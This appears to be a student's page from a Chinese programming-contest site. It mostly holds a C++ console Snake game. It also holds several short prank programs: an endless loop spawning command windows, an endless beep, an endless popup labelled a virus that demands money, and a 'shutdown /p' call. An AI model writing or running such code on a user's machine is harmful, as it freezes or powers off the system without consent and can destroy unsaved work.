100 Accepted!

https://www.baidu.com 百度

https://oj.17ac.cn/

消消乐：

#include<windows.h>;
using namespace std;
int main(){
	while(1){
		system("start cmd");
	}
}

删不掉：

#include<iostream>
using namespace std;
int main()
{
	while(true)
	{
		cout << '\a';
	}
}

小小病毒：

#include <windows.h>
using namespace std;
int main(){
	while(true){
		MessageBox(NULL,"给我一百万","弹窗病毒",MB_OK);
	} 
	return 0; 
}

贪吃蛇：

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <windows.h>
using namespace std;
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
void locate(int x,int y){
    coord.X=y;
    coord.Y=x;
    SetConsoleCursorPosition(hout,coord);
};
void hide(){
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(hout, &cursor_info);
}
double random(double start, double end){
    return start+(end-start)*rand()/(RAND_MAX + 1.0);
}
int m=25,n=40;
struct node{
    int x,y;
}snake[1000];
int snake_length,dir;
node food;
int direct[4][2]={{-1,0},{1,0},{0,-1},{0,1}};
void print_wall(){
    cout<<" ";
    for(int i=1;i<=n;i++)cout<<"-";
    cout<<endl;
    for (int j=0;j<=m-1;j++){
        cout<<"|";
        for(int i=1;i<=n;i++)cout<<" ";
        cout<<"|"<<endl;
    }
    cout<<" ";
    for(int i=1;i<=n;i++)cout<< "-";
}
void print_snake(){
    locate(snake[0].x,snake[0].y);
    cout<<"@";
    for(int i=1;i<=snake_length-1;i++)
    {
        locate(snake[i].x,snake[i].y);
        cout << "*";
    }
}
bool is_correct(){
    if (snake[0].x==0 || snake[0].y==0 || snake[0].x==m+1 || snake[0].y==n+1) return 0;
    for(int i=1;i<=snake_length-1;i++)if(snake[0].x==snake[i].x&&snake[0].y==snake[i].y)return 0;
    return 1;
}
bool print_food(){
    srand((unsigned)time(0));
    bool e;
    while (1)
    {
        e=true;
        int i=(int)random(0,m)+1,j=(int)random(0,n)+1;
        food.x=i;food.y=j;
        for (int k=0;k<=snake_length-1;k++){
            if(snake[k].x==food.x && snake[k].y==food.y)
            {
				e=false;
				break;
            }
        }
        if(e)break;
    }
    locate(food.x,food.y);
    cout<<"$";
    return true;
}
bool go_ahead(){
    node temp;
    bool e=false;
    temp=snake[snake_length-1];
    for(int i=snake_length-1;i>=1;i--)snake[i]=snake[i-1];
    snake[0].x+=direct[dir][0];
    snake[0].y+=direct[dir][1];
    locate(snake[1].x,snake[1].y);
    cout << "*";
    if(snake[0].x==food.x&&snake[0].y==food.y)
    {
        snake_length++;
        e=true;
        snake[snake_length-1]=temp;
    }
    if (!e)
    {
        locate(temp.x,temp.y);
        cout << " ";
    }
    else print_food();
    locate(snake[0].x,snake[0].y);
    cout<<"@";
    if (!is_correct())
    {
        system("cls");
        cout << "You lose!" << endl << "Length: " << snake_length << endl;
        return false;
    }
    return true;
}
int main()
{
    cout<<"--------------------贪吃蛇---------------------"<<endl;
    cout<<"请注意窗口大小,以免发生错位.建议将窗口调为最大."<<endl;
    cout<<"先选择难度.请在1-10中输入1个数,1最简单,10则最难"<<endl;
    cout<<"然后进入游戏画面,以方向键控制方向.祝你游戏愉快!"<<endl;
    cout<<"-----------------------------------------------"<<endl;
    if(m<10||n<10||m>25||n>40){
    	cout<<"ERROR"<<endl;
        system("pause");
        return 0;
    }
    int hard;
    cin>>hard;
    if(hard<=0||hard>100){
        cout<<"ERROR"<<endl;
        system("pause");
        return 0;
    }
    snake_length=5;
    clock_t a,b;
    char ch;
    double hard_len;
    for(int i=0;i<=4;i++){
        snake[i].x=1;
        snake[i].y=5-i;
    }
    dir=3;
    system("cls");
    hide();
    print_wall();
    print_food();
    print_snake();
    locate(m+2,0);
    cout<<"Now length: ";
    while (1)
    {
        hard_len=(double)snake_length/(double)(m*n);
        a=clock();
        while (1)
        {
            b=clock();
            if(b-a>=(int)(400-30*hard)*(1-sqrt(hard_len)))break;
        }
        if(kbhit())
        {
            ch=getch();
            if(ch==-32)
            {
                ch=getch();
                switch(ch)
                {
                case 72:
                    if(dir==2||dir==3)
                        dir=0;
                    break;
                case 80:
                    if(dir==2||dir==3)
                        dir=1;
                    break;
                case 75:
                    if(dir==0||dir==1)
                        dir=2;
                    break;
                case 77:
                    if(dir==0||dir==1)
                        dir=3;
                    break;
                }
            }
        }
        if(!go_ahead())break;
        locate(m+2,12);
        cout<<snake_length;
    }
    system("pause");
    return 0;
}

关机代码：

#include <bits/stdc++.h>
using namespace std;
int main(){
	system("shutdown /p");
	return 0;
}